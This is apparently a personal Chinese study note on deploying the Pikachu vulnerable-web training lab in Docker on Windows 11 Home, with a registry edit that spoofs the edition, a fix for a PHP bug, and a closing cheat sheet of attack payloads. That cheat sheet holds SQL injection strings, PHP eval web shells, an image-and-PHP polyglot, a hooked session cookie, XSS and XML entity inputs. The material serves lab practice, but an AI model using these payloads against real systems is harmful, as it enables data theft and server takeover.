前提:我用的是github上docker部署方案。
一、win11家庭版需提前配置环境
✅ 步骤1:安装Docker Desktop(Windows 11家庭版特殊处理)
开启虚拟化功能
重启电脑,按BIOS/UEFI键(通常是F2、F10或Del)进入BIOS
找到"Virtualization"或"VT-x"选项,启用它
保存设置并重启
安装WSL2和Hyper-V(家庭版特殊处理)
创建EnableHyperV.cmd文件,内容如下:
text
编辑
pushd "%~dp0"
dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum >hyper-v.txt
for /f %%i in ('findstr /i . hyper-v.txt 2^>nul') do dism /online /norestart /add-package: "%SystemRoot%\servicing\Packages\%%i"
del hyper-v.txt
Dism /online /enable-feature /featurename:Microsoft-Hyper-V-All /LimitAccess /ALL
右键点击文件 → 以管理员身份运行
重启电脑
修改注册表(将家庭版伪装成专业版)
以管理员身份打开命令提示符
输入以下命令:
text
编辑
REG ADD "HKEY_LOCAL_MACHINE\software\Microsoft\Windows NT\CurrentVersion" /v EditionId /T REG_EXPAND_SZ /d Professional /F
重启电脑
安装WSL2
以管理员身份打开PowerShell
输入以下命令:
text
编辑
wsl --install
重启电脑
安装Docker Desktop
下载Docker Desktop:https://www.docker.com/products/docker-desktop
运行安装程序,勾选"Use WSL 2 instead of Hyper-V"
完成安装后重启电脑
✅ 步骤2:部署皮卡丘靶场
打开命令提示符(CMD)或PowerShell
输入以下命令:
bash
编辑
docker run -d -p 8765:80 8023/pikachu-expect:latest
等待容器启动(大约1-2分钟),别急
打开浏览器,访问:http://localhost:8765
您会看到欢迎界面,点击"点击进行初始化安装"完成安装
二、打CSRF靶场时候报错,数据显示不出来,解决:
✅ 手动修改 csrf_get_edit.php 文件的详细步骤(小白友好版)
只需要跟着这5步操作,就能解决 MYSQL_ASSOC 常量错误问题。
🧰 所需工具
Docker Desktop(已启动皮卡丘容器)
终端(Windows用PowerShell或CMD,Mac/Linux用Terminal)
🔧 操作步骤(3分钟搞定)
✅ 第1步:找到皮卡丘容器ID
打开终端(Windows: PowerShell / CMD;Mac/Linux: Terminal)
输入命令查看所有运行中的容器:
docker ps
找到 pikachu 或 vulfocus/pikachu 的容器ID(通常第一列是ID,如 a1b2c3d4e5f6)
💡 示例输出:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a1b2c3d4e5f6 vulfocus/pikachu "/docker-entrypoint...." 2 hours ago Up 2 hours 0.0.0.0:8080->80/tcp pikachu-container
✅ 第2步:进入容器内部
在终端输入(把 a1b2c3d4e5f6 替换成你上一步查到的实际ID):
docker exec -it a1b2c3d4e5f6 bash
成功进入容器后,终端会变成类似 root@a1b2c3d4e5f6:/# 的提示符
💡 如果提示 command not found,说明你没安装Docker,需要先安装Docker
✅ 第3步:找到并修改文件
在容器内输入以下命令进入目标文件目录:
cd /app/vul/csrf/csrfget/
用 vim 打开文件(如果提示没安装vim,先输入 apt-get update && apt-get install vim -y):
vim csrf_get_edit.php
在vim里操作:
按 /(斜杠),然后输入 MYSQL_ASSOC,按回车 → 会跳转到第一个匹配位置
按 n(next)继续找下一处(通常第70行附近)
找到类似这样的代码:
result = mysqli_fetch_array(query, MYSQL_ASSOC);
用键盘 删除 MYSQL,改成 MYSQLI → 变成:
result = mysqli_fetch_array(query, MYSQLI_ASSOC);
按 Esc 键退出编辑模式
输入 :wq 保存并退出(:wq = write quit)
💡 如果找不到,直接按 Ctrl + W(Windows)或 Cmd + W(Mac)打开文件,用鼠标找到第70行左右
✅ 第4步:重启容器
在终端(不在容器内,要退出容器)输入:
docker restart a1b2c3d4e5f6
(把 a1b2c3d4e5f6 换成你的容器ID)
✅ 第5步:验证是否成功
打开浏览器访问 http://localhost:8080(或你配置的端口)
进入 CSRF → CSRF GET → CSRF GET编辑 页面
错误消失了! 你看到的应该是正常页面,没有 Warning 提示
💡 为什么这么操作?
皮卡丘靶场的代码里写错了常量名(MYSQL_ASSOC 应该是 MYSQLI_ASSOC)
你通过修改这个文件,把错误的常量名改对了
重启容器后,新代码生效,错误就消失了
❌ 常见问题解决
问题 解决方法
vim 未安装 在容器内输入 apt-get update && apt-get install vim -y
找不到文件 确认路径是否是 /app/vul/csrf/csrfget/csrf_get_edit.php(检查大小写)
修改后还是报错 重启容器(docker restart)
不想用vim 用 nano 代替:nano csrf_get_edit.php → 修改后按 Ctrl + O 保存,Ctrl + X 退出
🌟 终极验证
打开浏览器开发者工具(F12)→ Console
重新加载页面,不再有 Warning → 说明成功!
💡 一句话总结
进入容器 → 找到文件 → 把 MYSQL_ASSOC 改成 MYSQLI_ASSOC → 保存 → 重启容器,搞定!
#退出容器内部:Docker容器内部(提示符是 root@c72d434364e0:~#),正确的退出方式是使用快捷键 Ctrl + P + Q
三、pikachu知识点
可以使用limit一次一次进行获取表名
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
#基于boolian的盲注
kobe' and extractvalue(0,concat(0x7e,version()))#
kobe' and ascii(substr(database(),1,1))=112#
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)
,1,1))>112#
基于时间的延迟:
kobe' and if ((substr(database(),1,1))='p',sleep(5),null)#
select *from table where name='';
'or 1=1;%23
echo "<?php eval($_POST[1]);?>" > 1.php
#查看当前目录有哪些文件
print_r(scandir('./'));
file_put_contents('2.php','<?php eval($_POST[1]);?>')
#(filename,data)
copy /b kb.png + phpinfo.php ccc.png
输入 powershell 进入 PowerShell 模式(或者直接输下面的命令,CMD 有时也能调用):
powershell
编辑
Format-Hex ccc.png
效果:会以彩色高亮显示十六进制和对应的 ASCII 码,比 xxd 更好看!
http://192.168.66.1:8765/vul/unsafeupload/uploads/2026/03/02/72016069a4e0b1d4013960095350.png
../../unsafeupload/uploads/2026/03/02/72016069a4e0b1d4013960095350.png
普通用户:
Cookie: BEEFHOOK=dLglPMZcTJ4TNToqu3NmrPKnQ7GrfNRyt6fpS5hHTPlcfxsERaY5jtDDQaFVedxJQGYidLvk41UUkhC6; PHPSESSID=vihmvtsopvakkta4rlmc0j46fg
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkang">
]>
<name>&hacker;</name>